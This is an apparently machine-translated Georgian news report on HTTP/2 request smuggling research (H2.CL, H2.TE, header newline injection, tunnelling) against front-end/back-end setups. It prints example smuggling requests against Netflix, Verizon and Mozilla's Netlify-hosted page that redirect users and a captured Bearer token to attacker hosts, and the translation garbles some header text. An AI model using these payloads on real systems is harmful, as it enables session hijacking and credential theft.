ახალი თავდასხმა წინა-ბოლო სისტემებზე, რომელიც საშუალებას გაძლევთ ჩაერთოთ მოთხოვნებში

ვებ-სისტემები, რომლებშიც წინა ნაწილი იღებს კავშირებს HTTP/2-ის საშუალებით და გადასცემს მათ HTTP/1.1-ის მეშვეობით, ექვემდებარება შეტევის ახალ ვარიანტს „HTTP Request Smuggling“, რომელიც საშუალებას აძლევს, სპეციალურად შემუშავებული კლიენტის მოთხოვნების გაგზავნით, ჩაერთეთ სხვა მომხმარებლების მოთხოვნების შინაარსში, რომლებიც დამუშავებულია იმავე ნაკადში წინა და უკანა ნაწილს შორის. თავდასხმა შეიძლება გამოყენებულ იქნას მავნე JavaScript კოდის ჩასართავად ლეგიტიმურ ვებსაიტზე სესიაში, წვდომის შეზღუდვის სისტემების გვერდის ავლით და ავთენტიფიკაციის პარამეტრების გადასაჭრელად.

პრობლემა გავლენას ახდენს ვებ პროქსიებზე, დატვირთვის ბალანსერებზე, ვებ ამაჩქარებლებზე, შინაარსის მიწოდების სისტემებზე და სხვა კონფიგურაციებზე, რომლებშიც მოთხოვნები გადამისამართებულია წინა ბოლოდან უკანა მხარეს. კვლევის ავტორმა აჩვენა Netflix-ის, Verizon-ის, Bitbucket-ის, Netlify CDN-ისა და Atlassian-ის სისტემებზე თავდასხმის შესაძლებლობა და მიიღო 56 ათასი დოლარი ჯილდოს პროგრამებში დაუცველობის იდენტიფიცირებისთვის. პრობლემა ასევე დადასტურდა F5 Networks-ის პროდუქტებში. პრობლემა ნაწილობრივ აისახება mod_proxy-ზე Apache http სერვერზე (CVE-2021-33193), გამოსწორება მოსალოდნელია 2.4.49 ვერსიაში (დეველოპერები შეატყობინეს პრობლემის შესახებ მაისის დასაწყისში და მის გამოსასწორებლად მიეცათ 3 თვე). nginx-ში, ბოლო გამოშვებაში (1.21.1) დაიბლოკა სათაურების „შინაარსის სიგრძის“ და „გადაცემის დაშიფვრის“ ერთდროულად მითითების შესაძლებლობა. თავდასხმის ხელსაწყოები უკვე შედის Burp ინსტრუმენტთა ნაკრების შემადგენლობაში და ხელმისაწვდომია Turbo Intruder გაფართოების სახით.

ტრაფიკში მოთხოვნების შეყვანის ახალი მეთოდის მოქმედების პრინციპი მსგავსია იმავე მკვლევარის მიერ ორი წლის წინ გამოვლენილი დაუცველობისა, მაგრამ შემოიფარგლება მხოლოდ ფრონტენტებით, რომლებიც იღებენ მოთხოვნებს HTTP/1.1-ზე. შეგახსენებთ, რომ frontend-backend სქემაში კლიენტის მოთხოვნები მიიღება დამატებითი კვანძის მიერ - frontend, რომელიც ამყარებს ხანგრძლივ TCP კავშირს backend-თან, რომელიც უშუალოდ ამუშავებს მოთხოვნებს. ამ საერთო კავშირის საშუალებით, როგორც წესი, იგზავნება მოთხოვნები სხვადასხვა მომხმარებლისგან, რომლებიც მიჰყვებიან ჯაჭვს ერთმანეთის მიყოლებით, გამოყოფილი HTTP პროტოკოლის საშუალებით.

კლასიკური „HTTP მოთხოვნის კონტრაბანდის“ თავდასხმა ეფუძნებოდა იმ ფაქტს, რომ ფრონტენტები და სათაურები ინტერპრეტაციას უკეთებენ HTTP სათაურების გამოყენებას „შინაარსი-სიგრძე“ (განსაზღვრავს მოთხოვნაში მოცემული მონაცემების მთლიან ზომას) და „ტრანსფერ-დაშიფვრა: დაქუცმაცებული“ (ნებადართულია). ნაწილებად გადასატანი მონაცემები) სხვაგვარად. . მაგალითად, თუ წინა ნაწილი მხარს უჭერს მხოლოდ „კონტენტის სიგრძეს“, მაგრამ უგულებელყოფს „ტრანსფერ-დაშიფვრას: დაქუცმაცებული“, მაშინ თავდამსხმელს შეუძლია გამოაგზავნოს მოთხოვნა, რომელიც შეიცავს ორივე სათაურს „შინაარსის სიგრძე“ და „ტრანსფერ-დაშიფვრა: დაქუცმაცებული“, მაგრამ ზომა არის "შინაარსი-სიგრძე" არ ემთხვევა დაქუცმაცებული ჯაჭვის ზომას. ამ შემთხვევაში, ფრონტენტი დაამუშავებს და გადამისამართებს მოთხოვნას „შინაარსის სიგრძის“ შესაბამისად, ხოლო ბექენდი დაელოდება ბლოკის დასრულებას „ტრანსფერ-კოდირება: დაქუცმაცებული“ საფუძველზე და თავდამსხმელის მოთხოვნის დარჩენილი კუდი იქნება. იყოს სხვისი მოთხოვნის დასაწყისში გადაცემული შემდეგ.

ტექსტური პროტოკოლისგან განსხვავებით, HTTP/1.1, რომელიც ანალიზებულია ხაზის დონეზე, HTTP/2 არის ბინარული პროტოკოლი და მანიპულირებს წინასწარ განსაზღვრული ზომის მონაცემთა ბლოკებით. თუმცა, HTTP/2 იყენებს ფსევდო-სათაურებს, რომლებიც შეესაბამება ჩვეულებრივ HTTP სათაურებს. HTTP/1.1 პროტოკოლის მეშვეობით backend-თან ურთიერთქმედების შემთხვევაში, frontend თარგმნის ამ ფსევდო ჰედერებს მსგავს HTTP სათაურებად HTTP/1.1. პრობლემა ის არის, რომ backend იღებს გადაწყვეტილებებს ნაკადის გაანალიზების შესახებ წინა ნაწილის მიერ დაყენებული HTTP სათაურების საფუძველზე, ორიგინალური მოთხოვნის პარამეტრების შესახებ ინფორმაციის გარეშე.

კერძოდ, მნიშვნელობები "შინაარსის სიგრძე" და "გადაცემის კოდირება" შეიძლება გადაიცეს ფსევდო სათაურების სახით, მიუხედავად იმისა, რომ ისინი არ გამოიყენება HTTP/2-ში, რადგან ყველა მონაცემის ზომა განისაზღვრება. ცალკე ველში. თუმცა, HTTP/2 მოთხოვნის HTTP/1.1-ად კონვერტაციის პროცესში, ეს სათაურები გადატანილია და შეიძლება დაბნეული იყოს ბექენდი. არსებობს თავდასხმის ორი ძირითადი ვარიანტი: H2.TE და H2.CL, რომლებშიც backend შეცდომაში შეჰყავს არასწორი გადაცემის კოდირების ან შინაარსის სიგრძის მნიშვნელობის გამო, რომელიც არ შეესაბამება ფრონტენდის მიერ მიღებული მოთხოვნის სხეულის რეალურ ზომას. HTTP/2 პროტოკოლი.

H2.CL თავდასხმის მაგალითია Netflix-ზე HTTP/2 მოთხოვნის გაგზავნისას შიგთავსის სიგრძის ფსევდო სათაურში არასწორი ზომის მითითება. ეს მოთხოვნა იწვევს მსგავსი HTTP სათაურის Content-Length დამატებას HTTP/1.1-ის საშუალებით backend-ზე წვდომისას, მაგრამ ვინაიდან ზომა Content-Length-ში მითითებულია რეალურზე ნაკლები, მონაცემების ნაწილი კუდში მუშავდება, როგორც შემდეგი მოთხოვნის დასაწყისი.

მაგალითად, მოითხოვეთ HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 ჰოსტი: 02.rs?x.netflix.com Foo: bar

გამოიწვევს მოთხოვნის გაგზავნას ბექენდზე: POST /n HTTP/1.1 ჰოსტი: www.netflix.com კონტენტის სიგრძე: 4 abcdGET /n HTTP/1.1 ჰოსტი: 02.rs?x.netflix.com Foo: bar

იმის გამო, რომ Content-Length-ს აქვს 4 მნიშვნელობა, backend მიიღებს მხოლოდ „abcd“-ს, როგორც მოთხოვნის ტექსტს, ხოლო დანარჩენი „GET /n HTTP/1.1...“ დამუშავდება, როგორც შემდგომი მოთხოვნის დასაწყისი. დაკავშირებული სხვა მომხმარებელთან. შესაბამისად, ნაკადი გახდება დესინქრონიზებული და მორიგი მოთხოვნის საპასუხოდ გაიცემა მატყუარა მოთხოვნის დამუშავების შედეგი. Netflix-ის შემთხვევაში, მესამე მხარის ჰოსტის მითითება "მასპინძელი:" სათაურში მოტყუებულ მოთხოვნაში, შედეგად კლიენტმა დააბრუნა პასუხი "Location: https://02.rs?x.netflix.com/n" და დაუშვა კლიენტისთვის თვითნებური შინაარსის გაგზავნა, მათ შორის თქვენი JavaScript კოდის გაშვება Netflix საიტის კონტექსტში.

მეორე თავდასხმის ვარიანტი (H2.TE) გულისხმობს „Transfer-Encoding: chunked“ სათაურის ჩანაცვლებას. HTTP/2-ში გადაცემის კოდირების ფსევდო სათაურის გამოყენება აკრძალულია სპეციფიკაციით და მასთან დაკავშირებული მოთხოვნები დადგენილია, როგორც არასწორი. ამის მიუხედავად, ზოგიერთი ფრონტენდის იმპლემენტაცია არ ითვალისწინებს ამ მოთხოვნას და საშუალებას იძლევა გამოიყენოს გადაცემის კოდირების ფსევდო-სათაური HTTP/2-ში, რომელიც გარდაიქმნება მსგავს HTTP სათაურში. თუ არსებობს სათაური „გადაცემა-დაშიფვრა“, ბექენდმა შეიძლება მიიღოს ის უფრო მაღალი პრიორიტეტით და გააანალიზოს მონაცემები ნაწილ-ნაწილ „დაქუცმაცებულ“ რეჟიმში სხვადასხვა ზომის ბლოკების გამოყენებით „{size}\r\n{ბლოკი“ ფორმატში. }\r\n{ზომა} \r\n{ბლოკი}\r\n0", მიუხედავად საწყისი დაყოფისა საერთო ზომის მიხედვით.

ასეთი უფსკრულის არსებობა Verizon-ის მაგალითმა აჩვენა. პრობლემა ეხებოდა ავტორიზაციის პორტალს და კონტენტის მართვის სისტემას, რომელიც ასევე გამოიყენება ისეთ საიტებზე, როგორიცაა Huffington Post და Engadget. მაგალითად, კლიენტის მოთხოვნა HTTP/2-ით: :method POST :path /identitfy/XUI :authority id.b2b.oath.com გადაცემის კოდირება დაიშალა 0 GET /oops HTTP/1.1 ჰოსტი: psres.net კონტენტი-სიგრძე: 10 x=

შედეგად მოხდა HTTP/1.1 მოთხოვნის გაგზავნა ბექენდზე: POST /identity/XUI HTTP/1.1 ჰოსტი: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres. წმინდა შინაარსი - სიგრძე: 10x=

თავის მხრივ, backend-მა უგულებელყო სათაური „შინაარსი-სიგრძე“ და შეასრულა სტრიმინგში გაყოფა „Transfer-Encoding: chunked“ საფუძველზე. პრაქტიკაში, შეტევამ შესაძლებელი გახადა მომხმარებლის მოთხოვნების გადამისამართება მათ ვებსაიტზე, მათ შორის OAuth ავთენტიფიკაციასთან დაკავშირებული მოთხოვნების ჩარევა, რომელთა პარამეტრები ნაჩვენები იყო Referer-ის სათაურში, ასევე ავტორიზაციის სესიის სიმულაცია და მომხმარებლის სისტემის ამოქმედება რწმუნებათა სიგელების გაგზავნისთვის. თავდამსხმელის მასპინძელს. GET /b2blanding/show/oops HTTP/1.1 მასპინძელი: psres.net რეფერენტი: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 მასპინძელი: psres.net ავტორიზაცია: Bearer eyJhcGwiOiJIUzI1Gi1Ci6s

HTTP/2 იმპლემენტაციებზე თავდასხმისთვის, რომლებიც არ აძლევენ გადაცემის კოდირების ფსევდო სათაურის მითითებას, შემოთავაზებულია სხვა მეთოდი, რომელიც გულისხმობს სათაურის „ტრანსფერ-დაშიფვრის“ ჩანაცვლებას სხვა ფსევდო-სათაურებზე, რომლებიც გამოყოფილია ახალი ხაზის სიმბოლოთი ( HTTP/1.1-ზე გადაყვანისას ამ შემთხვევაში ქმნის ორ ცალკეულ HTTP სათაურს).

მაგალითად, Atlassian Jira და Netlify CDN (გამოიყენებოდა Mozilla-ს საწყისი გვერდის მოსამსახურებლად Firefox-ში) დაზარალდა ეს პრობლემა. კონკრეტულად, HTTP/2 მოთხოვნა :method POST :path / :authority start.mozilla.org foo b\r\n გადაცემის კოდირება: დაყოფილია 0\r\n \r\n GET / HTTP/1.1\r\n ჰოსტი : evil-netlify-domain\r\n კონტენტის სიგრძე: 5\r\n \r\nx=

შედეგად HTTP/1.1 POST / HTTP/1.1 მოთხოვნის გაგზავნა ბექენდში\r\n მასპინძელი: start.mozilla.org\r\n Foo: b\r\n გადაცემის კოდირება: დაქუცმაცებული\r\n კონტენტის სიგრძე : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n მასპინძელი: evil-netlify-domain\r\n კონტენტის სიგრძე: 5\r\n \r \nx=

სათაურის „გადაცემის კოდირების“ ჩანაცვლების კიდევ ერთი ვარიანტი იყო მისი სხვა ფსევდო სათაურის სახელზე ან მოთხოვნის მეთოდის მქონე ხაზთან მიმაგრება. მაგალითად, Atlassian Jira-ზე წვდომისას ფსევდო-სათაურის სახელმა "foo: bar\r\ntransfer-encoding" მნიშვნელობით "chunked" გამოიწვია HTTP სათაურების "foo: bar" და "transfer-encoding: chunked" დამატება. , და ფსევდო სათაურის ":method" მნიშვნელობის მითითებით "GET / HTTP/1.1\r\nგადაცემის კოდირება: დაქუცმაცებული" ითარგმნა როგორც "GET / HTTP/1.1\r\nგადაცემის კოდირება: დაქუცმაცებული".

მკვლევარმა, რომელმაც დაადგინა პრობლემა, ასევე შესთავაზა მოთხოვნის გვირაბის ტექნიკა ფრონტენტებზე თავდასხმისთვის, რომელშიც თითოეული IP მისამართი ადგენს ცალკეულ კავშირს ბექენდთან და სხვადასხვა მომხმარებლის ტრაფიკი არ არის შერეული. შემოთავაზებული ტექნიკა არ იძლევა სხვა მომხმარებლების მოთხოვნებში ჩარევის საშუალებას, მაგრამ შესაძლებელს ხდის საზიარო ქეშის მოწამვლას, რომელიც გავლენას ახდენს სხვა მოთხოვნების დამუშავებაზე და საშუალებას იძლევა ჩაანაცვლოს შიდა HTTP სათაურები, რომლებიც გამოიყენება სერვისის ინფორმაციის ფრონტენტიდან უკანა პლანზე გადასატანად ( მაგალითად, წინა მხარის ავთენტიფიკაციისას ასეთ სათაურებს შეუძლიათ გადასცენ ინფორმაცია მიმდინარე მომხმარებლის შესახებ ფონზე). როგორც მეთოდის პრაქტიკაში გამოყენების მაგალითი, ქეშის მოწამვლის გამოყენებით, შესაძლებელი გახდა Bitbucket სერვისის გვერდებზე კონტროლის მოპოვება.

წყარო: opennet.ru